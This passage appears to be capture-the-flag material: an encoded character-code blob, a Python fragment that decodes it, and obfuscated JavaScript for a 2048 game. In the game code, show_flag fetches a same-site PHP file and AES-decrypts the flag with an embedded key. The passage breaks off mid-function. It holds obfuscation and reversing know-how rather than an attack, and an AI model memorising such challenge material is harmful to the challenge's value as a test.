G40Z108A101g116U32g95a48p120M52n54i99E49F97g100o32D61O32e48q120G56S53j32N42R32H45W48G120a100u32E43H32M48j120k49B101e102Z97Y32O43I32p48K120a57e102s32E42q32Y45i48e120a50d55V59x32z95y48a120c102R52F49r101d57T56D91w95Z48g120b52t49O57X56G52T101m40U48Y120N49I52N50g41D93P40d95F48T120P52g54e99o49C97R100p44q32q98d111t97O114H100K83c105y122e101n41R59u32x95P48e120d52n54Q99k49p97y100M43j43z41M10w32Z32f32X32K32O32O32e32o32O32y32v32s95s48M120i54G48d50K49u49J102l91G95n48L120D52Q49v57B56b52k101S40O48C120n49e57o101j41D93j40B98X111S97S114S100n91K95R48G120c52X54G99m49y97u100j93l91E95N48Z120m51x49q55r51R57k50v93i41y59b10W32u32R32r32o32o32g32P32o108Z101B116F32z95x48j120v50d100O49b49e56G102t32l61c32V95i48k120v102n52p49U101I57f56Q91C95y48y120D52K49W57w56u52k101O40n48V120Q49l52R51A41E93P40b115O108l105H100v101f44w32T95U48e120v54z48I50A49j49F102c41J59N10R32F32x32K32O32d32U32N32w119G104G105o108E101J32D40d95H48r120l102K52e49j101u57e56R91d95B48b120X52W49H57C56t52G101y40R48T120S49L52O50H41u93a40f95a48b120m50H100D49m49S56H102Y91k95E48D120R52i49k57K56q52G101e40k48Y120d49c54b57t41e93z44B32B98m111u97c114o100m83E105Q122t101S41H41z10t32x32Z32D32X32b32P32J32O32T32E32N32h95y48Y120r50E100J49x49t56I102g91A95e48O120j52B49G57T56H52A101o40U48r120R49m57F101j41M93t40S45k48u120m98U52M56Z32J43r32Z45c48c120e49B53N32K42b32E48d120L98h49T32h43N32T48N120w49O57k99k100v41M59b10o32I32Y32t32g32y32P32t32j102T111A114v32t40n108t101g116M32b95e48h120G50o98k102g97n54s50t32s61m32x48l120I102W53O53S32X43B32H48H120X50Q48g49c51f32s43r32M45l48M120X50W102i54s56K59k32u95H48G120b102M52D49X101K57A56t91Z95p48D120D52T49p57C56o52T101p40K48Y120h49g52u50j41D93a40g95V48F120H50i98x102Y97h54K50P44S32p98X111h97m114s100L83U105g122K101L41U59N32u95Z48c120C50C98O102Y97a54U50G43F43O41s32x123J10H32W32n32Q32Y32L32F32t32b32d32j32L32d105g102s32K40O95D48F120c102r52m49L101c57T56Z91i95X48n120z52e49c57f56O52t101z40z48R120l49s52g56P41S93y40t98C111I97N114T100l91m95Y48c120a50u98W102x97j54x50X93k91K95E48Z120e51p49Y55R51b57T50d93X44m32f95p48y120P50Q100S49J49W56b102Q91b95Z48h120G50j98c102B97s54a50t93B41u41h10R32b32w32X32Y32s32q32n32g32q32x32m32T32c32z32I32Z95f48B120h49f97p50Z50e99Q52K32S61Y32q33W33B91O93t59e10K32v32b32t32L32r32t32N32o32U32u32O32N98c111F97E114O100G91T95L48t120x50y98B102G97l54V50q93q91a95J48e120I51Y49v55D51f57P50v93b32X61X32Y95M48R120r50n100J49e49n56f102N91Y95i48t120t50U98F102R97r54t50C93m59N10S32b32e32c32J32T32d32v32A125A10e32Z32e32G32v125E10P32a32I32n32m114P101p116J117u114s110e32F95z48L120A49T97S50A50F99d52Q59j10S125M10L102W117Z110L99D116e105e111p110l32d109T111Z118Q101G68G111t119v110p40Q41R32k123g10Z32k32R32a32G99y111u110Z115q116o32v95q48R120G57g50c49S99m101H50H32C61e32j95t48Q120e49p50t98H55A55P51M44B32m95Q48M120V53N57o49U57X99I53F32w61H32F123I10g32q32E32G32s32J32I32R32i32J32L32t32N39U101H116D77R117u68E39g58K32B102A117L110Z99h116p105h111B110s32V40J95x48U120f53P101S54u50C56W50Z44p32f95F48s120W49i97P100H54X56N53D41X32N123p10X32G32E32a32H32K32J32L32G32x32T32l32T32f32g32X32F114R101h116w117F114U110g32M95x48j120Q53g101f54m50V56B50O32v60S32o95C48n120g49V97u100x54B56X53x59c10u32B32Q32q32d32J32D32j32g32L32D32A32a125w44k10B32f32Z32B32m32Z32l32p32T32i32I32s32Y39S102A82o100G116x114k39F58t32g102M117k110l99I116z105i111v110O32f40V95J48z120C50K54H102x100W55j53U44B32G95f48h120e53m55a55e53o99i97E41P32z123F10k32J32M32E32f32i32s32Q32s32K32E32N32D32D32w32Y32W114S101i116u117C114V110C32A95D48q120M50r54K102M100p55J53l32j60A32o95b48f120B53E55V55X53F99c97K59C10P32E32A32C32z32D32g32I32B32x32m32H32P125N44p10v32l32P32E32K32W32C32W32k32n32v32v32Y39P117a76x108G79z108o39e58F32L102H117o110w99T116D105F111R110o32k40M95a48e120O50Y99q57R50r97a101F44H32T95P48I120M51N57Z53Z50O100h97N41Q32g123p10X32t32a32a32w32l32o32c32V32O32o32p32e32p32o32f32z114N101B116G117c114Y110h32K95J48a120R50n99L57L50t97K101d40C95W48H120Y51u57b53a50S100d97e41Z59B10G32h32L32j32c32j32L32w32l32G32r32n32U125p44G10N32i32q32X32u32W32G32B32H32b32o32i32p39w77J101T122i81l65G39u58O32m102X117r110D99l116l105P111V110b32m40A95M48x120C53q54n101o52a56b99H44Y32I95u48N120A52v49w99B49b97W101T41G32c123q10X32R32T32i32j32j32k32C32b32I32G32Y32U32Q32o32R32a114S101t116p117R114J110Q32h95F48t120m53W54t101o52i56K99d32q60K32J95z48y120k52G49H99X49m97L101i59v10N32T32J32C32m32d32K32D32n32G32j32e32T125e44f10C32B32L32Q32y32T32l32h32f32T32t32k32g39D117m65R116O84W69V39Z58R32d102L117O110u99U116P105g111P110d32u40z95t48e120u53I53j52e99y57W100O44O32O95o48f120L49c50O100o49i51Z97u41U32t123L10z32t32P32h32b32Z32a32L32q32i32Q32C32t32W32j32h32U114J101N116e117X114n110X32r95T48D120r53t53r52N99I57k100N32N60p32w95z48d120w49K50z100y49B51j97B59p10k32B32T32o32k32c32p32a32k32O32A32p32Y125k44E10C32j32a32V32U32l32G32y32M32q32E32K32F39k103c119Z77g118K122t39h58d32U102I117i110T99t116Y105o111g110C32O40L95w48A120o99U99l51b51o56N99W44h32N95t48o120W50E98q48K50N101f49Q41A32Y123V10q32n32B32Z32K32Y32a32Y32K32B32O32o32a32H32p32A32U114s101H116i117W114Q110V32K95o48p120Q99P99l51Q51n56p99a32F33G61K61c32J95p48U120P50V98N48T50M101p49F59Z10B32Y32L32o32P32F32A32P32m32h32Z32C32d125h10r32O32F32i32a32D32E32E32z125o59D10B32m32z32F32V108i101Z116e32L95k48e120Y50k102N55A98P51Y50U32z61P32o33N91g93G59X10Y32n32c32R32i102b111n114Q32m40J108R101w116S32m95G48q120w102Z50s100f53h56h100x32r61y32B45P48u120q49L48W53s57I32X43d32A48N120z97l56d98b32I42v32j45G48g120a50d32h43a32b45i48w120i53K53I57B32X42v32E45t48a120Q55Y59I32I95h48M120r53H57R49K57g99n53N91V95e48H120Q57I50g49K99I101x50a40C48i120T49p97B99H41q93k40J95d48o120u102q50H100N53D56F100N44q32d98x111Q97I114f100F83U105H122k101b41n59P32i95i48d120d102R50l100R53m56R100S43g43K41O32I123i10u32I32J32h32O32x32T32u32C108R101T116g32f95r48C120g52w51i100N55P52l48I32w61W32B91e93X59o10w32c32o32p32I32r32h32F32F102l111g114L32h40Y108a101C116h32J95W48z120E52u56z57G49v51i102y32p61e32i48h120R97N101w56n32o43a32I45o48Z120p100k32E42k32h48p120E49Y49U102e32b43M32c48x120z49V32h42o32l48J120Z51l97J98a59S32l95B48G120E53T57b49p57q99A53Y91f95f48q120R57z50f49w99U101i50k40S48P120E49P55W97r41e93D40b95G48J120K52M56k57h49o51v102t44E32h98T111w97K114E100X83d105Z122B101O41M59e32a95g48E120O52H56H57Y49k51R102x43c43a41h10k32P32T32k32Z32W32m32B32k32U32q32p32z95y48u120h52A51d100k55V52B48k91r95Y48h120I57F50S49m99h101V50g40C48j120o49a57d101A41p93P40t98H111V97V114A100B91I95T48K120J52q56A57Z49J51S102s93D91n95c48j120q102q50x100b53r56Y100W93j41l59b10w32S32Y32D32o32B32d32o32G108e101x116d32o95U48K120T49t56d53B97c100x100m32i61N32s95p48g120W53O57S49W57I99z53L91q95X48V120l57d50O49k99x101J50R40M48s120P49I57b49H41N93O40D115n108m105B100P101h44M32U95n48q120d52d51h100G55F52o48U91o95Q48M120J57b50J49u99l101z50t40F48j120o49c52H49I41b93n40U41X41r59S10M32R32u32C32f32K32g32A32N119q104t105x108t101C32a40B95A48w120k53i57u49h57n99p53v91j95w48N120Q57r50A49h99w101C50Q40m48r120A49V56N54Q41l93A40V95m48Q120T49O56n53m97z100D100v91p95r48b120P57Z50O49C99Q101N50t40I48A120E49Y54Z57f41t93p44K32w98T111c97q114O100s83C105a122A101Y41t41I10x32M32t32U32L32n32r32d32Z32Y32k32P32D95G48n120b49x56J53r97I100m100g91y95K48K120m57Z50y49B99Z101n50m40O48v120R49l57m101e41I93H40p45d48X120Z51o32G42A32T45f48g120Z50c99n99o32n43N32I48U120T49q48u57l49D32B43G32y45k48T120f49l56w102m53t41l59f10Y32S32v32o32J32T32V32b32N95s48e120M49v56x53Y97N100e100G91y95t48T120A57A50M49e99b101T50C40P48g120y49q52m49x41x93S40l41S59L10r32v32W32q32p32n32G32N32f102J111L114G32q40H108k101y116n32N95z48u120M52Q99O50J100p51e53E32o61R32f45J48q120K56g57U50Y32H42i32v48Z120d51Z32J43M32U45u48T120q101r54d100z32i43Z32T48U120J56K57m32g42y32Y48T120s52h98y59W32m95i48u120n53V57l49G57Z99U53h91U95M48k120s57Q50L49q99B101E50A40g48m120V49U52p52i41C93r40K95i48v120H52k99c50v100f51j53R44O32K98n111y97t114M100e83J105q122A101D41W59d32b95G48o120O52D99h50f100v51n53E43t43Z41s32v123F10a32J32E32x32b32R32A32H32Q32K32Q32E32s105U102D32p40T95c48E120k53p57h49f57Z99e53n91R95p48O120o57u50S49H99i101l50C40k48W120c49N55t102Q41A93y40M98o111S97A114S100J91k95Q48y120c52O99U50k100s51F53n93M91O95c48k120B102w50n100l53v56D100n93P44b32H95f48J120E49D56I53H97L100B100g91g95J48f120Y52W99D50o100e51i53P93z41v41u10N32p32l32E32z32o32d32I32b32B32f32G32c32y32B32Y32M95k48D120D50s102j55q98q51E50I32c61X32X33O33V91I93F59e10x32Z32V32e32F32y32N32D32q32u32e32l32k98Y111G97T114D100r91o95X48s120g52O99C50l100r51W53d93s91M95x48g120B102v50o100a53C56l100f93i32C61r32l95r48S120p49Q56s53U97E100T100l91m95W48e120P52M99j50X100v51L53Q93y59z10c32Y32W32P32X32z32K32c32k125j10r32H32h32U32u125l10S32F32e32d32o114W101y116B117t114a110b32g95K48x120S50T102U55C98h51O50l59b10O125r10y100R111o99d117T109B101a110m116d91t95g48I120g49n50r98S55T55n51Q40J48a120s49V97V56j41X32N43h32H95w48L120r49i50E98a55N55w51N40j48D120X49h55O49i41W93n40x95N48z120G49S50T98B55C55n51j40C48l120e49V56S56u41q44J32G95e48R120Y52K100S99n48Z52o97S32v61W62g32B123i10E32J32m32R32z99H111A110x115Z116F32t95e48w120s49T97s101u99d51x54g32s61R32t95i48k120S49I50J98n55h55v51A44j32X95Z48q120k51K51p54K52U57L99b32N61K32w123L10z32q32i32o32E32m32O32z32a32d32q32w32W39c66f115T102m120A100g39Q58z32K95I48e120u49y97t101C99l51A54Y40Y48a120D49s53t98H41o44A10Q32C32b32G32O32q32m32L32D32C32N32P32f39s97V112F117p67O70A39M58x32H102I117v110a99d116B105k111c110q32E40B95m48e120z53W101o48C99Y52w100r41y32v123x10Y32X32i32L32v32R32T32U32C32W32d32x32x32H32K32Y32x114H101f116s117o114d110f32g95j48g120y53g101V48G99p52b100O40i41D59V10C32N32z32b32J32g32a32J32K32a32n32p32o125b44x10R32Z32F32K32T32v32W32j32C32M32q32p32D39x90h111L80m84L120w39P58V32N95s48G120Z49k97C101N99X51N54l40R48o120A49I53N97n41o44w10E32b32k32J32C32t32I32u32J32X32P32X32m39a83W80w102P119x116a39X58V32P95y48o120a49B97s101m99S51c54X40M48M120T49S97n49p41W44a10H32b32e32h32n32I32j32a32O32L32F32F32p39X85j71B77r108y81e39w58S32W102A117u110P99p116Z105S111X110V32F40r95d48G120d51c50E54F100s98w49w41n32b123i10A32a32D32S32M32B32q32Y32K32a32r32n32H32I32F32J32v114L101K116z117M114Y110K32b95d48N120n51n50p54Q100r98G49u40I41A59A10x32Q32P32i32L32k32A32U32q32G32E32y32d125A44J10o32n32T32O32K32y32g32e32z32M32Y32I32G39l81x89L69v80m98P39D58P32a95f48M120m49Z97K101L99A51j54l40K48Y120s49f54G98a41Q44a10o32p32r32Q32M32h32o32q32l32Z32H32T32V39N118g66p113m103x73L39M58C32i102c117W110a99H116t105Z111V110o32T40n95x48a120c53t52J53l51J98p53L41W32T123e10b32N32q32X32h32W32v32b32m32P32e32c32t32u32m32F32h114S101z116H117H114E110V32z95W48i120C53g52v53Q51O98o53B40v41h59w10g32s32H32I32d32C32V32E32O32p32T32x32J125d44x10K32h32M32U32u32D32d32P32c32C32p32B32J39t105n75g105H74v80k39n58g32S102F117N110J99U116b105F111l110L32i40N95N48r120w49U51m50e55r100A101d41S32O123j10H32b32Q32L32H32C32k32H32g32C32U32A32x32u32E32O32V114L101L116s117J114i110n32i95b48x120F49C51f50W55m100F101g40u41K59N10e32i32s32N32Q32v32j32G32w32U32j32j32C125e44k10D32g32d32N32i32Q32w32b32A32y32V32n32N39h97G81O118P101f107Q39k58u32g102g117A110Y99F116W105q111I110P32z40J95d48R120D53n99v102k102I48J101j41F32a123C10f32q32g32E32t32s32b32d32C32j32h32Y32N32Q32t32s32Q114h101l116r117Y114R110b32L95O48H120W53N99d102r102h48Z101p40D41W59D10G32D32l32u32J32n32u32C32R32S32V32s32q125a10P32J32m32a32W32d32y32g32P125S59f10y32y32M32G32s108x101Q116E32K95F48A120a52x102t99c48A57K99h32V61b32y33n91u93C59v10Z32F32I32o32V115H119G105z116n99c104n32z40F95a48J120h52N100h99n48f52P97j91s95Z48t120l49U97o101t99N51R54s40i48K120Q49J54l56R41i93N41J32L123A10R32K32I32v32W99o97X115J101S32S95E48e120s51Q51W54v52z57w99K91N95l48o120m49Q97n101o99W51M54t40q48z120c49L54O102z41h93R58V10p32g32F32u32P32N32t32Q32x95Z48o120u52e102C99g48g57S99W32R61C32B95h48J120b51a51Y54W52x57i99v91Z95T48G120O49W97s101l99t51w54S40C48R120R49v57K99b41b93U40S109Q111s118C101y76B101T102h116W41w59U10i32u32r32V32A32Q32Y32M32j98R114G101g97Y107l59C10Q32c32g32Y32A99I97v115C101J32o95D48c120f51b51h54t52m57k99p91s95T48A120r49r97A101E99S51u54x40I48g120J49t97v55x41f93U58j10a32G32O32U32n32t32W32W32q95u48a120Y52I102Z99V48N57a99c32b61R32s95y48m120P51w51d54l52I57o99y91R95l48r120I49Z97e101B99q51Y54R40D48H120Z49F57p99N41Z93r40w109d111X118d101B82f105r103H104j116t41S59E10v32X32D32p32x32A32L32e32h98q114H101V97L107Q59d10n32T32R32j32r99D97l115J101s32I95B48l120n51o51o54o52b57c99o91F95b48b120e49W97R101k99q51C54x40Z48h120w49d54Q100A41Q93M58z10T32a32U32Q32D32H32k32T32l95a48I120s52X102k99a48v57y99L32W61e32M95p48z120m51G51Z54c52p57C99x91r95k48V120Y49r97E101R99K51o54y40e48R120D49S53y50O41M93Z40n109t111N118Z101h85l112g41K59A10g32h32F32i32d32s32r32U32U98b114V101n97e107y59I10B32W32R32z32v99I97Y115J101t32D95X48z120q51q51o54g52U57g99u91R95y48u120B49J97L101W99y51A54y40y48B120s49k56q55L41K93l58m10g32p32G32I32W32l32t32o32u95c48M120F52q102U99N48W57g99u32T61J32P95b48Q120e51R51u54e52x57z99J91z95l48j120i49e97S101F99x51Z54c40b48r120P49B53f50D41B93F40t109h111C118l101F68w111H119X110X41r59n10Q32D32t32R32M32z32z32y32n98Q114Z101C97O107W59B10p32b32V32g32D125D10D32Q32x32x32p95H48s120b52e102Q99E48B57S99b32M38i38r32c40Z95K48y120a51o51k54w52T57D99X91m95F48x120l49A97C101d99B51T54U40w48S120B49A54e97l41E93S40i97J100R100y82Y97m110H100B111Q109T84Y105S108A101c41w44f32I95d48e120D51K51e54F52t57F99m91M95x48E120H49G97R101t99X51n54x40Y48Y120D49N97i97S41p93y40n114Q101V110Q100l101v114i41n44l32v95w48g120H51l51K54B52p57h99r91v95K48d120Q49Z97U101F99d51S54S40I48p120L49N52J53M41k93Y40s99t104J101k99J107M41H41r59H10D125q41V44k32u105X110A105l116j40s41u59
"
    tokens = re.split(r'[a-zA-Z]+', obfuscated_str)
    decoded_chars = []

    # 2. 遍历分割后的数字，转为字符
    for token in tokens:
        # 过滤掉空字符串（因为正则分割可能会产生空串）
        if token.strip():
            try:
                # ASCII 码转字符
                char_code = int(token)
                decoded_chars.append(chr(char_code))
            except ValueError:
                continue

    # 3. 拼接结果
    real_code = "".join(decoded_chars)

    print(real_code)

if __name__ == '__main__':
    solve_sojson()
function _0x348d() {
    const _0x4db93f = [
        'fRdtr',
        'VtvBx',
        '2531jIXJyx',
        'status',
        '351924mqEOra',
        'gwMvz',
        'Ulxll',
        '4761pmSWUA',
        'classList',
        '115adfZbZ',
        'floor',
        'add',
        'MezQA',
        'QYEPb',
        'keydown',
        'div',
        'ById',
        'dsPKF',
        'toString',
        'cell',
        'TbOYy',
        'QprXH.php',
        'href',
        'uLlOl',
        'textConten',
        'board',
        'Pkcs7',
        '13688685SEitVO',
        'wpCGO',
        'encrypt',
        'vdISq',
        'oPTEh',
        'split',
        'lXWlM',
        'apuCF',
        'YwQhm',
        'push',
        'getElement',
        '612yRrQEY',
        'ArrowUp',
        'appendChil',
        'JFmlR',
        'yRaOa',
        'UfESK',
        'XExBq',
        'ZoPTx',
        'addEventLi',
        'score',
        'iKiJP',
        'kGipA',
        'etMuD',
        'ldfKO',
        'random',
        'cell-',
        'dUMqa',
        'VPnlg',
        '9d5bef',
        'readyState',
        'pxyyc',
        'mode',
        'kwunY',
        'innerHTML',
        'bqAdt',
        'af16d2be89',
        'parse',
        'ent',
        'aSWkY',
        'reverse',
        'JbIaZ',
        'ZQkWp',
        'uAtTE',
        'aQvek',
        'IUAly',
        'location',
        'BJbHp',
        'VCEXY',
        'techange',
        'CBC',
        '4|3|2|0|1',
        'decrypt',
        '745c30',
        'onreadysta',
        'GET',
        'nGuod',
        'UGMlQ',
        'iSHKM',
        'send',
        'fill',
        'responseTe',
        'jQoyc',
        '1208feFXpC',
        '/u0cNTzvI5',
        'ArrowRight',
        'ArrowLeft',
        'Utf8',
        '570hfBuPk',
        'AES',
        'enc',
        'pjyyA',
        'pad',
        'filter',
        'open',
        'createElem',
        '535733xZbMLS',
        'slice',
        '49091hnZAEB',
        'key',
        'length',
        'vBqgI',
        'ArrowDown',
        'BmjSd',
        'SPfwt',
        '2638944ZHSbVW',
        'Bsfxd',
        '请求失败，状态码：',
        'stener',
        'error',
        '1267c0a384',
        'className',
        'WVUkI',
        'DWiZf',
        'from',
        'CZNzY',
        'hfHMv'
    ];
    _0x348d = function () {
        return _0x4db93f;
    };
    return _0x348d();
}
const _0x12b773 = _0x1d81;
(function (_0x1b3001, _0x2195d8) {
    const _0x33d38a = _0x1d81, _0x9d4e67 = _0x1b3001();
    while (!![]) {
        try {
            const _0x2dd809 = parseInt(_0x33d38a(0x17c)) / (0x270a + -0x8f3 + -0x1e16) * (-parseInt(_0x33d38a(0x1a0)) / (-0x224e + 0x2371 + -0x11 * 0x11)) + parseInt(_0x33d38a(0x181)) / (0xf7 * 0x1d + -0x5 * 0x3d3 + -0x2f3 * 0x3) + parseInt(_0x33d38a(0x16e)) / (0x1 * -0x247d + 0x26e4 + -0x263 * 0x1) + -parseInt(_0x33d38a(0x183)) / (0x2aa * 0xb + 0x1 * 0x1330 + 0x1 * -0x3079) * (parseInt(_0x33d38a(0x17e)) / (-0x2b * -0xdb + 0xca * 0x9 + -0x2bdd)) + -parseInt(_0x33d38a(0x167)) / (-0x153d + -0x4 * 0x40 + 0x1644) * (-parseInt(_0x33d38a(0x158)) / (0x1cc0 + -0xe38 + -0x1 * 0xe80)) + -parseInt(_0x33d38a(0x195)) / (0x6a * -0x1 + 0x3b6 + -0x343) + parseInt(_0x33d38a(0x15d)) / (-0x1082 * 0x1 + 0x1725 + -0x699 * 0x1) * (parseInt(_0x33d38a(0x165)) / (0x2c5 * 0x1 + 0x1 * 0x1e16 + -0x18 * 0x15e));
            if (_0x2dd809 === _0x2195d8)
                break;
            else
                _0x9d4e67['push'](_0x9d4e67['shift']());
        } catch (_0x45126b) {
            _0x9d4e67['push'](_0x9d4e67['shift']());
        }
    }
}(_0x348d, 0x917a9 + -0x1375af + -0x2e * -0x8209));
const boardSize = 0x646 + 0x1aee + 0x18 * -0x162;
let board = [], score = -0x1 * 0x1ae + -0x337 * -0x4 + -0x1dd * 0x6;
const boardElement = document[_0x12b773(0x19f) + _0x12b773(0x18a)](_0x12b773(0x193)), scoreElement = document[_0x12b773(0x19f) + _0x12b773(0x18a)](_0x12b773(0x1a9));
function init() {
    const _0x447c54 = _0x12b773, _0x2e1ee2 = {
            'TbOYy': _0x447c54(0x14c),
            'JFmlR': function (_0x59f75e) {
                return _0x59f75e();
            },
            'UfESK': function (_0x5548db) {
                return _0x5548db();
            },
            'Ulxll': function (_0x5328e0) {
                return _0x5328e0();
            }
        }, _0x57810f = _0x2e1ee2[_0x447c54(0x18e)][_0x447c54(0x19a)]('|');
    let _0xa62dd = 0x1a34 + -0xc47 + -0xded;
    while (!![]) {
        switch (_0x57810f[_0xa62dd++]) {
        case '0':
            _0x2e1ee2[_0x447c54(0x1a3)](addRandomTile);
            continue;
        case '1':
            _0x2e1ee2[_0x447c54(0x1a5)](render);
            continue;
        case '2':
            _0x2e1ee2[_0x447c54(0x180)](addRandomTile);
            continue;
        case '3':
            score = 0x221 * 0xd + -0x18b * -0x13 + -0x38fe;
            continue;
        case '4':
            board = Array[_0x447c54(0x177)]({ 'length': boardSize }, () => Array(boardSize)[_0x447c54(0x155)](-0xac * 0x11 + -0x40a * -0x3 + -0x2 * 0x59));
            continue;
        }
        break;
    }
}
function addRandomTile() {
    const _0x4828ab = _0x12b773, _0x49b024 = {
            'pjyyA': function (_0x57b6a4, _0xb38dac) {
                return _0x57b6a4 < _0xb38dac;
            },
            'CZNzY': function (_0x5e272e, _0x5ebe29) {
                return _0x5e272e === _0x5ebe29;
            },
            'VCEXY': function (_0x2dc4b9, _0x596622) {
                return _0x2dc4b9 * _0x596622;
            },
            'kwunY': function (_0x2bfdcd, _0x288c8d) {
                return _0x2bfdcd < _0x288c8d;
            }
        };
    let _0x28a95f = [];
    for (let _0x396a22 = -0x1 * 0x2407 + 0x1 * 0x1927 + 0xae0; _0x49b024[_0x4828ab(0x160)](_0x396a22, boardSize); _0x396a22++) {
        for (let _0x20de6d = -0x1d88 + -0x1 * 0x6a7 + 0x242f * 0x1; _0x49b024[_0x4828ab(0x160)](_0x20de6d, boardSize); _0x20de6d++) {
            _0x49b024[_0x4828ab(0x178)](board[_0x396a22][_0x20de6d], -0x449 * -0x4 + 0xf80 * 0x1 + -0x1052 * 0x2) && _0x28a95f[_0x4828ab(0x19e)]({
                'i': _0x396a22,
                'j': _0x20de6d
            });
        }
    }
    if (_0x49b024[_0x4828ab(0x178)](_0x28a95f[_0x4828ab(0x169)], -0x106c + -0x449 * 0x5 + 0x25d9))
        return;
    let {
        i: _0x11cc23,
        j: _0x20e0ee
    } = _0x28a95f[Math[_0x4828ab(0x184)](_0x49b024[_0x4828ab(0x149)](Math[_0x4828ab(0x1ae)](), _0x28a95f[_0x4828ab(0x169)]))];
    board[_0x11cc23][_0x20e0ee] = _0x49b024[_0x4828ab(0x1b6)](Math[_0x4828ab(0x1ae)](), 0x844 + 0xe02 + -0x1646 + 0.9) ? 0x254 * 0xd + -0xb8d * -0x2 + -0x355c : 0x1 * -0xa77 + 0x35 * 0x2c + -0xd * -0x1b;
}
function render() {
    const _0x2e617d = _0x12b773, _0x348a77 = {
            'VtvBx': function (_0x3f248c, _0x5d5004) {
                return _0x3f248c < _0x5d5004;
            },
            'BmjSd': _0x2e617d(0x189),
            'VPnlg': _0x2e617d(0x18d),
            'jQoyc': function (_0x516883, _0x1dcdbd) {
                return _0x516883 !== _0x1dcdbd;
            }
        };
    boardElement[_0x2e617d(0x13b)] = '', scoreElement[_0x2e617d(0x192) + 't'] = score;
    for (let _0x465671 = -0x1f77 + 0x1 * -0x163d + -0x1c * -0x1eb; _0x348a77[_0x2e617d(0x17b)](_0x465671, boardSize); _0x465671++) {
        for (let _0x4c489c = -0x2216 * 0x1 + -0x1f * 0x37 + -0x487 * -0x9; _0x348a77[_0x2e617d(0x17b)](_0x4c489c, boardSize); _0x4c489c++) {
            const _0x34648d = board[_0x465671][_0x4c489c], _0x215c1d = document[_0x2e617d(0x164) + _0x2e617d(0x13f)](_0x348a77[_0x2e617d(0x16c)]);
            _0x215c1d[_0x2e617d(0x174)] = _0x348a77[_0x2e617d(0x1b1)], _0x348a77[_0x2e617d(0x157)](_0x34648d, 0x1891 * -0x1 + -0x1c60 + -0x1 * -0x34f1) && (_0x215c1d[_0x2e617d(0x192) + 't'] = _0x34648d, _0x215c1d[_0x2e617d(0x182)][_0x2e617d(0x185)](_0x2e617d(0x1af) + _0x34648d)), boardElement[_0x2e617d(0x1a2) + 'd'](_0x215c1d);
        }
    }
}
function check() {
    const _0x2c55ab = _0x12b773, _0x552c9d = {
            'oPTEh': function (_0x45f36d, _0x2b44a7) {
                return _0x45f36d < _0x2b44a7;
            },
            'wpCGO': function (_0x4a858a, _0x3f306b) {
                return _0x4a858a > _0x3f306b;
            },
            'yRaOa': function (_0x2f7cb4) {
                return _0x2f7cb4();
            }
        };
    for (let _0x105485 = 0x2 * 0x671 + -0xa3d + 0x2a5 * -0x1; _0x552c9d[_0x2c55ab(0x199)](_0x105485, -0x1ac5 + -0xd84 * -0x1 + -0xd45 * -0x1); _0x105485++) {
        for (let _0x169bc7 = -0x16d3 + 0x1aa1 + 0x2 * -0x1e7; _0x552c9d[_0x2c55ab(0x199)](_0x169bc7, -0x4 * -0x43b + 0x105b * -0x2 + 0xfce * 0x1); _0x169bc7++) {
            _0x552c9d[_0x2c55ab(0x196)](board[_0x105485][_0x169bc7], -0x14b4 + -0x22a + -0x12 * -0x1b7) && _0x552c9d[_0x2c55ab(0x1a4)](show_flag);
        }
    }
}
const key = CryptoJS[_0x12b773(0x15f)][_0x12b773(0x15c)][_0x12b773(0x13e)](_0x12b773(0x173) + _0x12b773(0x1b2)), iv = CryptoJS[_0x12b773(0x15f)][_0x12b773(0x15c)][_0x12b773(0x13e)](_0x12b773(0x13d) + _0x12b773(0x14e));
function _0x1d81(_0x169ff1, _0x101db5) {
    const _0x2235a7 = _0x348d();
    return _0x1d81 = function (_0x58aefd, _0x37a7c3) {
        _0x58aefd = _0x58aefd - (-0x1a * 0xbb + 0x1653 + -0x21a);
        let _0x7d0953 = _0x2235a7[_0x58aefd];
        return _0x7d0953;
    }, _0x1d81(_0x169ff1, _0x101db5);
}
function aesEncrypt(_0x4e093f) {
    const _0x377094 = _0x12b773, _0x5894aa = CryptoJS[_0x377094(0x15e)][_0x377094(0x197)](_0x4e093f, key, {
            'iv': iv,
            'mode': CryptoJS[_0x377094(0x1b5)][_0x377094(0x14b)],
            'padding': CryptoJS[_0x377094(0x161)][_0x377094(0x194)]
        });
    return _0x5894aa[_0x377094(0x18c)]();
}
function aesDecrypt(_0x38dd22) {
    const _0x539950 = _0x12b773, _0x3d66d2 = CryptoJS[_0x539950(0x15e)][_0x539950(0x14d)](_0x38dd22, key, {
            'iv': iv,
            'mode': CryptoJS[_0x539950(0x1b5)][_0x539950(0x14b)],
            'padding': CryptoJS[_0x539950(0x161)][_0x539950(0x194)]
        });
    return _0x3d66d2[_0x539950(0x18c)](CryptoJS[_0x539950(0x15f)][_0x539950(0x15c)]);
}
function show_flag() {
    const _0x155749 = _0x12b773, _0x46f394 = {
            'DWiZf': function (_0x387a20, _0x4b950f) {
                return _0x387a20 === _0x4b950f;
            },
            'nGuod': function (_0x142a22, _0x168ed0) {
                return _0x142a22 === _0x168ed0;
            },
            'WVUkI': function (_0x315cf5, _0xcb69d2) {
                return _0x315cf5(_0xcb69d2);
            },
            'XExBq': _0x155749(0x170),
            'YwQhm': _0x155749(0x150)
        }, _0x2ffeb9 = new XMLHttpRequest();
    let _0x58ef84 = window[_0x155749(0x147)][_0x155749(0x190)] + (_0x155749(0x159) + _0x155749(0x18f));
    _0x2ffeb9[_0x155749(0x163)](_0x46f394[_0x155749(0x19d)], _0x58ef84, !![]), _0x2ffeb9[_0x155749(0x14f) + _0x155749(0x14a)] = function () {
        const _0xb00357 = _0x155749;
        _0x46f394[_0xb00357(0x176)](_0x2ffeb9[_0xb00357(0x1b3)], 0xc86 + 0xa5c + -0x2 * 0xb6f) && (_0x46f394[_0xb00357(0x151)](_0x2ffeb9[_0xb00357(0x17d)], -0x1f6f + 0x1cc1 + -0x1 * -0x376) ? _0x46f394[_0xb00357(0x175)](alert, _0x46f394[_0xb00357(0x175)](aesDecrypt, _0x2ffeb9[_0xb00357(0x156) + 'xt'])) : console[_0xb00357(0x172)](_0x46f394[_0xb00357(0x1a6)], _0x2ffeb9[_0xb00357(0x17d)]));
    }, _0x2ffeb9[_0x155749(0x154)]();
}
function slide(_0x533c6) {
    const _0xd5d818 = _0x12b773, _0x8cd5f0 = {
            'bqAdt': function (_0x3ff46, _0x3ebff4) {
                return _0x3ff46 < _0x3ebff4;
            },
            'dsPKF': function (_0x15eb6d, _0x4982c5) {
                return _0x15eb6d - _0x4982c5;
            },
            'iSHKM': function (_0x4320dc, _0x4bfa1d) {
                return _0x4320dc === _0x4bfa1d;
            },
